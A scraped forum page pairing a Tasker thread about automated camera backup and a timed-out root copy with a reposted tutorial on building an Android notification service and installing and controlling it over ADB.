---------- Post added at 01:29 AM ---------- Previous post was at 01:19 AM ----------
Might want to change the title of the post
Since your request was pretty much solved by yourself.
GerManiac said:
Excellent, just what i was looking for. Great tutorial.
---------- Post added at 01:29 AM ---------- Previous post was at 01:19 AM ----------
Might want to change the title of the post
Since your request was pretty much solved by yourself.
Click to expand...
Click to collapse
Completely forgot about the title, sorry [emoji15]
How you import?
eloko said:
How you import?
Click to expand...
Click to collapse
Just follow the instructions and make it yourself, the directories might not work if you import
eloko said:
How you import?
Click to expand...
Click to collapse
Otherwise download the .txt file, rename it to .xml and import it into tasker. (Don't forget to change the dirs)
Mikhail5555 said:
Otherwise download the .txt file, rename it to .xml and import it into tasker. (Don't forget to change the dirs)
Click to expand...
Click to collapse
I don't see the option to import.
I try when I have the chance to be on pc.
Thanks
Mikhail5555 said:
Exit task:
1. File / List FIles / Dir = DCIM/Camera (Location of the map the photos go in) / Match = *.jpg / Variable = %Files // For each file in the folder create a variable
Click to expand...
Click to collapse
Thanks for the very nice tutorial of yours
I have a question or rather a problem!
What if I wanted to make a backup of videos too, how should I add to the list?
M S T F said:
Thanks for the very nice tutorial of yours
I have a question or rather a problem!
What if I wanted to make a backup of videos too, how should I add to the list?
Click to expand...
Click to collapse
Thanks for the nice words, It is actually pretty easy to add more files to the list of items that are gettings copied.
Exit task:
1. File / List FIles / Dir = DCIM/Camera (Location of the map the photos go in) / Match = *.jpg / Variable = %Files // For each file in the folder create a variable
Just edit the "Match = *.jpg" to for instant "Match = *.jpg/*.mp4/*.png".
The / means OR so you can add almost all the file extentions that you want and/or need.
Don't forget the scan will take longer the more items you add.
Mikhail5555 said:
Thanks for the nice words, It is actually pretty easy to add more files to the list of items that are gettings copied.
Exit task:
1. File / List FIles / Dir = DCIM/Camera (Location of the map the photos go in) / Match = *.jpg / Variable = %Files // For each file in the folder create a variable
Just edit the "Match = *.jpg" to for instant "Match = *.jpg/*.mp4/*.png".
The / means OR so you can add almost all the file extentions that you want and/or need.
Don't forget the scan will take longer the more items you add.
Click to expand...
Click to collapse
Thanks for the reply,
After adding mp4 to the list I ran into error, as you can see in the following screenshot.
Actually the remaining photos after the first video file in the folder aren't backed up. but the first video file itself is copied to the destination folder.
Any idea what could be the reason
M S T F said:
Thanks for the reply,
After adding mp4 to the list I ran into error, as you can see in the following screenshot.
Actually the remaining photos after the first video file in the folder aren't backed up. but the first video file itself is copied to the destination folder.
Any idea what could be the reason
Click to expand...
Click to collapse
Try disabling 'use root', i'm not sure why the copying times out though
Could you also show the bottem lines from the error that tasker gives?
Mikhail5555 said:
Try disabling 'use root', i'm not sure why the copying times out though
Could you also show the bottem lines from the error that tasker gives?
Click to expand...
Click to collapse
Here I have copied the whole log for your consideration. I am looking forward for a solution.:good:
Code:
16.28.14/Variables doreplresult: |%File| -> |/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4|
16.28.14/Variables doreplresult: |%File| -> |/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4|
16.28.14/Shell runSync test -e '/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4' root: true timeout: 3000
16.28.14/Shell have process
16.28.14/Shell write cmd: test -e '/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4'
16.28.14/Shell start process timeout timer 3000ms for: test -e '/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4'
16.28.14/Shell start process-thread ID 530
16.28.14/Shell joined with 530
16.28.14/Shell exit result: 0
16.28.14/Shell non-null timeout
16.28.14/Shell runSync test -f '/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4' root: true timeout: 3000
16.28.14/Shell have process
16.28.14/Shell write cmd: test -f '/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4'
16.28.14/Shell start process timeout timer 3000ms for: test -f '/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4'
16.28.14/Shell start process-thread ID 532
16.28.14/Shell joined with 532
16.28.14/Shell exit result: 0
16.28.14/Shell non-null timeout
16.28.14/Shell runSync test -d '/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4' root: true timeout: 3000
16.28.14/Shell have process
16.28.14/Shell write cmd: test -d '/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4'
16.28.14/Shell start process timeout timer 3000ms for: test -d '/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4'
16.28.14/Shell start process-thread ID 534
16.28.15/Shell joined with 534
16.28.15/Shell exit result: 1
16.28.15/Shell non-null timeout
16.28.15/Shell runSync test -e '/storage/extSdCard/Camera-Backup' root: true timeout: 3000
16.28.15/Shell have process
16.28.15/Shell write cmd: test -e '/storage/extSdCard/Camera-Backup'
16.28.15/Shell start process timeout timer 3000ms for: test -e '/storage/extSdCard/Camera-Backup'
16.28.15/Shell start process-thread ID 536
16.28.15/Shell joined with 536
16.28.15/Shell exit result: 0
16.28.15/Shell non-null timeout
16.28.15/Shell runSync test -f '/storage/extSdCard/Camera-Backup' root: true timeout: 3000
16.28.15/Shell have process
16.28.15/Shell write cmd: test -f '/storage/extSdCard/Camera-Backup'
16.28.15/Shell start process timeout timer 3000ms for: test -f '/storage/extSdCard/Camera-Backup'
16.28.15/Shell start process-thread ID 538
16.28.15/Shell joined with 538
16.28.15/Shell exit result: 1
16.28.15/Shell non-null timeout
16.28.15/Shell runSync test -d '/storage/extSdCard/Camera-Backup' root: true timeout: 3000
16.28.15/Shell have process
16.28.15/Shell write cmd: test -d '/storage/extSdCard/Camera-Backup'
16.28.15/Shell start process timeout timer 3000ms for: test -d '/storage/extSdCard/Camera-Backup'
16.28.15/Shell start process-thread ID 540
16.28.15/Shell joined with 540
16.28.15/Shell exit result: 0
16.28.15/Shell non-null timeout
16.28.15/Shell runSync cp '/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4' '/storage/extSdCard/Camera-Backup' root: true timeout: 7000
16.28.15/Shell have process
16.28.15/Shell write cmd: cp '/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4' '/storage/extSdCard/Camera-Backup'
16.28.15/Shell start process timeout timer 7000ms for: cp '/storage/extSdCard/DCIM/CamTest/20140905_182414.mp4' '/storage/extSdCard/Camera-Backup'
16.28.15/Shell start process-thread ID 542
16.28.22/Shell joined with 542
16.28.22/Shell exit result: 9
16.28.22/Shell non-null timeout

[GUIDE] Development and remote installation of Java service for the Android Devices

Author: Apriorit (Device Team)
Permanent link: www(dot)apriorit(dot)com/our-company/dev-blog/130-development-for-android
In this article I’ve described:
• How to develop simple Java service for the Android Devices;
• How to communicate with a service from the other processes and a remote PC;
• How to install and start the service remotely from the PC.
1. Java Service Development for the Android Devices
Services are long running background processes provided by Android. They could be used for background tasks execution. Tasks can be different: background calculations, backup procedures, internet communications, etc. Services can be started on the system requests and they can communicate with other processes using the Android IPC channels technology. The Android system can control the service lifecycle depending on the client requests, memory and CPU usage. Note that the service has lower priority than any process which is visible for the user.
Let’s develop the simple example service. It will show scheduled and requested notifications to user. Service should be managed using the service request, communicated from the simple Android Activity and from the PC.
First we need to install and prepare environment:
• Download and install latest Android SDK from the official web site http://developer.android.com);
• Download and install Eclipse IDE (http://www.eclipse.org/downloads/);
• Also we’ll need to install Android Development Tools (ADT) plug-in for Eclipse.
After the environment is prepared we can create Eclipse Android project. It will include sources, resources, generated files and the Android manifest.
1.1 Service class development
First of all we need to implement service class. It should be inherited from the android.app.Service (http://developer.android.com/reference/android/app/Service.html) base class. Each service class must have the corresponding <service> declaration in its package's manifest. Manifest declaration will be described later. Services, like the other application objects, run in the main thread of their hosting process. If you need to do some intensive work, you should do it in another thread.
In the service class we should implement abstract method onBind. Also we override some other methods:
onCreate(). It is called by the system when the service is created at the first time. Usually this method is used to initialize service resources. In our case the binder, task and timer objects are created. Also notification is send to the user and to the system log:
Code:
01.public void onCreate()
02.{
03. super.onCreate();
04. Log.d(LOG_TAG, "Creating service");
05. showNotification("Creating NotifyService");
06.
07. binder = new NotifyServiceBinder(handler, notificator);
08. task = new NotifyTask(handler, notificator);
09. timer = new Timer();
10.}
onStart(Intent intent, int startId). It is called by the system every time a client explicitly starts the service by calling startService(Intent), providing the arguments it requires and the unique integer token representing the start request. We can launch background threads, schedule tasks and perform other startup operations.
Code:
1.public void onStart(Intent intent, int startId)
2.{
3. super.onStart(intent, startId);
4. Log.d(LOG_TAG, "Starting service");
5. showNotification("Starting NotifyService");
6.
7. timer.scheduleAtFixedRate(task, Calendar.getInstance().getTime(), 30000);
8.}
onDestroy(). It is called by the system to notify a Service that it is no longer used and is being removed. Here we should perform all operations before service is stopped. In our case we will stop all scheduled timer tasks.
Code:
1.public void onDestroy()
2.{
3. super.onDestroy();
4. Log.d(LOG_TAG, "Stopping service");
5. showNotification("Stopping NotifyService");
6.
7. timer.cancel();
8.}
onBind(Intent intent). It will return the communication channel to the service. IBinder is the special base interface for a remotable object, the core part of a lightweight remote procedure call mechanism. This mechanism is designed for the high performance of in-process and cross-process calls. This interface describes the abstract protocol for interacting with a remotable object. The IBinder implementation will be described below.
Code:
1.public IBinder onBind(Intent intent)
2.{
3. Log.d(LOG_TAG, "Binding service");
4. return binder;
5.}
To send system log output we can use static methods of the android.util.Log class (http://developer.android.com/reference/android/util/Log.html). To browse system logs on PC you can use ADB utility command: adb logcat.
The notification feature is implemented in our service as the special runnable object. It could be used from the other threads and processes. The service class has method showNotification, which can display message to user using the Toast.makeText call. The runnable object also uses it:
Code:
01.public class NotificationRunnable implements Runnable
02.{
03. private String message = null;
04.
05. public void run()
06. {
07. if (null != message)
08. {
09. showNotification(message);
10. }
11. }
12.
13. public void setMessage(String message)
14. {
15. this.message = message;
16. }
17.}
Code will be executed in the service thread. To execute runnable method we can use the special object android.os.Handler. There are two main uses for the Handler: to schedule messages and runnables to be executed as some point in the future; and to place an action to be performed on a different thread than your own. Each Handler instance is associated with a single thread and that thread's message queue. To show notification we should set message and call post() method of the Handler’s object.
1.2 IPC Service
Each application runs in its own process. Sometimes you need to pass objects between processes and call some service methods. These operations can be performed using IPC. On the Android platform, one process can not normally access the memory of another process. So they have to decompose their objects into primitives that can be understood by the operating system , and "marshall" the object across that boundary for developer.
The AIDL IPC mechanism is used in Android devices. It is interface-based, similar to COM or Corba, but is lighter . It uses a proxy class to pass values between the client and the implementation.
AIDL (Android Interface Definition Language) is an IDL language used to generate code that enables two processes on an Android-powered device to communicate using IPC. If you have the code in one process (for example, in Activity) that needs to call methods of the object in another process (for example, Service), you can use AIDL to generate code to marshall the parameters.
Service interface example showed below supports only one sendNotification call:
Code:
1.interface INotifyService
2.{
3.void sendNotification(String message);
4.}
The IBinder interface for a remotable object is used by clients to perform IPC. Client can communicate with the service by calling Context’s bindService(). The IBinder implementation could be retrieved from the onBind method. The INotifyService interface implementation is based on the android.os.Binder class (http://developer.android.com/reference/android/os/Binder.html):
Code:
01.public class NotifyServiceBinder extends Binder implements INotifyService
02.{
03. private Handler handler = null;
04. private NotificationRunnable notificator = null;
05.
06. public NotifyServiceBinder(Handler handler, NotificationRunnable notificator)
07. {
08. this.handler = handler;
09. this.notificator = notificator;
10. }
11.
12. public void sendNotification(String message)
13. {
14. if (null != notificator)
15. {
16. notificator.setMessage(message);
17. handler.post(notificator);
18. }
19. }
20.
21. public IBinder asBinder()
22. {
23. return this;
24. }
25.}
As it was described above, the notifications could be send using the Handler object’s post() method call. The NotificaionRunnable object is passed as the method’s parameter.
On the client side we can request IBinder object and work with it as with the INotifyService interface. To connect to the service the android.content.ServiceConnection interface implementation can be used. Two methods should be defined: onServiceConnected, onServiceDisconnected:
Code:
01.ServiceConnection conn = null;
02.…
03.conn = new ServiceConnection()
04.{
05. public void onServiceConnected(ComponentName name, IBinder service)
06. {
07. Log.d("NotifyTest", "onServiceConnected");
08. INotifyService s = (INotifyService) service;
09. try
10. {
11. s.sendNotification("Hello");
12. }
13. catch (RemoteException ex)
14. {
15. Log.d("NotifyTest", "Cannot send notification", ex);
16. }
17. }
18.
19. public void onServiceDisconnected(ComponentName name)
20. {
21. }
22.};
The bindService method can be called from the client Activity context to connect to the service:
1. Context.bindService(new Intent(this, NotifyService.class),
2.conn, Context.BIND_AUTO_CREATE);
The unbindService method can be called from the client Activity context to disconnect from the service:
1.Context.unbindService(conn);
1.3 Remote service control
Broadcasts are the way applications and system components can communicate. Also we can use broadcasts to control service from the PC. The messages are sent as Intents, and the system handles dispatching them, including starting receivers.
Intents can be broadcasted to BroadcastReceivers, allowing messaging between applications. By registering a BroadcastReceiver in application’s AndroidManifest.xml (using <receiver> tag) you can have your application’s receiver class started and called whenever someone sends you a broadcast. Activity Manager uses the IntentFilters, applications register to figure out which program should be used for a given broadcast.
Let’s develop the receiver that will start and stop notify service on request. The base class android.content.BroadcastReceiver should be used for these purposes (http://developer.android.com/reference/android/content/BroadcastReceiver.html):
Code:
01.public class ServiceBroadcastReceiver extends BroadcastReceiver
02.{
03.…
04. private static String START_ACTION = "NotifyServiceStart";
05. private static String STOP_ACTION = "NotifyServiceStop";
06.…
07. public void onReceive(Context context, Intent intent)
08. {
09. …
10. String action = intent.getAction();
11. if (START_ACTION.equalsIgnoreCase(action))
12. {
13. context.startService(new Intent(context, NotifyService.class));
14. }
15. else if (STOP_ACTION.equalsIgnoreCase(action))
16. {
17. context.stopService(new Intent(context, NotifyService.class));
18. }
19.
20. }
21.}
To send broadcast from the client application we use the Context.sendBroadcast call. I will describe how to use receiver and send broadcasts from the PC in chapter 2.
1.4 Android Manifest
Every application must have an AndroidManifest.xml file in its root directory. The manifest contains essential information about the application to the Android system, the system must have this information before it can run any of the application's code. The core components of an application (its activities, services, and broadcast receivers) are activated by intents. An intent is a bundle of information (an Intent object) describing a desired action — including the data to be acted upon, the category of component that should perform the action, and other pertinent instructions. Android locates an appropriate component to respond to the intent, starts the new instance of the component if one is needed, and passes it to the Intent object.
We should describe 2 components for our service:
• NotifyService class is described in the <service> tag. It will not start on intent. So the intent filtering is not needed.
• ServiceBroadcastReceived class is described in the <receiver> tag. For the broadcast receiver the intent filter is used to select system events:
Code:
01.<application android:icon="@drawable/icon" android:label="@string/app_name">
02.…
03. <service android:enabled="true" android:name=".NotifyService"
04.android:exported="true">
05. </service>
06. <receiver android:name="ServiceBroadcastReceiver">
07. <intent-filter>
08. <action android:name="NotifyServiceStart"></action>
09. <action android:name="NotifyServiceStop"></action>
10. </intent-filter>
11. </receiver>
12.…
2. Java service remote installation and start
2.1 Service installation
Services like the other applications for the Android platform can be installed from the special package with the .apk extension. Android package contains all required binary files and the manifest.
Before installing the service from the PC we should enable the USB Debugging option in the device Settings-Applications-Development menu and then connect device to PC via the USB.
On the PC side we will use the ADB utility which is available in the Android SDK tools directory. The ADB utility supports several optional command-line arguments that provide powerful features, such as copying files to and from the device. The shell command-line argument lets you connect to the phone itself and issue rudimentary shell commands.
We will use several commands:
• Remote shell command execution: adb shell <command> <arguments>
• File send operation: adb push <local path> <remote path>
• Package installation operation: adb install <package>.apk
I’ll describe the package installation process in details. It consists of several steps which are performed by the ADB utility install command:
• First of all the .apk package file should be copied to the device. The ADB utility connects to the device and has limited “shell” user privileges. So almost all file system directories are write-protected for it. The /data/local/tmp directory is used as the temporary storage for package files. To copy package to the device use the command:
adb push NotifyService.apk /data/local/tmp
• Package installation. ADB utility uses special shell command to perform this operation. The “pm” (Package Manager?) utility is present on the Android devices. It supports several command line parameters which are described in the Appendix I. To install the package by yourself execute the remote shell command:
adb shell pm install /data/local/tmp/NotifyService.apk
• Cleanup. After the package is installed, ADB removes the temporary file stored in /data/local/tmp folder using the “rm” utility:
adb shell rm /data/local/tmp/NotifyService.apk.
• To uninstall package use the “pm” utility:
adb shell pm uninstall <package>
2.2 Remote service control
To be able to start and stop the NotifyService from the PC we can use the “am” (Activity Manager?) utility which is present on the Android device. The command line parameters are described in the Appendix II. The “am” utility can send system broadcast intents. Our service has the broadcast receiver which will be launched by the system request.
To start NotifyService we can execute remote shell command:
adb shell am broadcast –a NotifyServiceStart
To stop the NotifyService we can execute remote shell command:
adb shell am broadcast –a NotifyServiceStop
Note, that the NotifyServiceStart and NotifyServiceStop intents were described in the manifest file inside the <receiver> … <intent-filter> tag. Other requests will not start the receiver.
Appendix I. PM Usage (from Android console)
Code:
01.pm [list|path|install|uninstall]
02.pm list packages [-f]
03.pm list permission-groups
04.pm list permissions [-g] [-f] [-d] [-u] [GROUP]
05.pm path PACKAGE
06.pm install [-l] [-r] PATH
07.pm uninstall [-k] PACKAGE
08.
09.The list packages command prints all packages.
10.Use the -f option to see their associated file.
11.The list permission-groups command prints all known permission groups.
12.The list permissions command prints all known permissions, optionally
13.only those in GROUP.
14.
15.Use the -g option to organize by group.
16.Use the -f option to print all information.
17.Use the -s option for a short summary.
18.Use the -d option to only list dangerous permissions.
19.Use the -u option to list only the permissions users will see.
20.
21.The path command prints the path to the .apk of a package.
22.
23.The install command installs a package to the system. Use the -l option to
24. install the package with FORWARD_LOCK. Use the -r option to reinstall an
25.exisiting app, keeping its data.
26.The uninstall command removes a package from the system. Use the -k option
27.to keep the data and cache directories around after the package removal.
Appendix II. AM Usage (from Android console)
Code:
01.am [start|broadcast|instrument]
02.am start -D INTENT
03.am broadcast INTENT
04.am instrument [-r] [-e <ARG_NAME> <ARG_VALUE>] [-p <PROF_FILE>] [-w] <COMPONENT>
05.
06.INTENT is described with:
07. [-a <ACTION>] [-d <DATA_URI>] [-t <MIME_TYPE>]
08. [-c <CATEGORY> [-c <CATEGORY>] ...]
09. [-e|--es <EXTRA_KEY> <EXTRA_STRING_VALUE> ...]
10. [--ez <EXTRA_KEY> <EXTRA_BOOLEAN_VALUE> ...]
11. [-e|--ei <EXTRA_KEY> <EXTRA_INT_VALUE> ...]
12. [-n <COMPONENT>] [-f <FLAGS>] [<URI>]
13.
14.<h2>
Sources of the Sample Project can be downloaded at the article official page www(dot)apriorit(dot)com/our-company/dev-blog/130-development-for-android
All articles, code pieces, example project sources and other materials are the intellectual property of Apriorit Inc. and their authors.
All materials are distributed under the Creative Commons BY-NC License.

Categories

Resources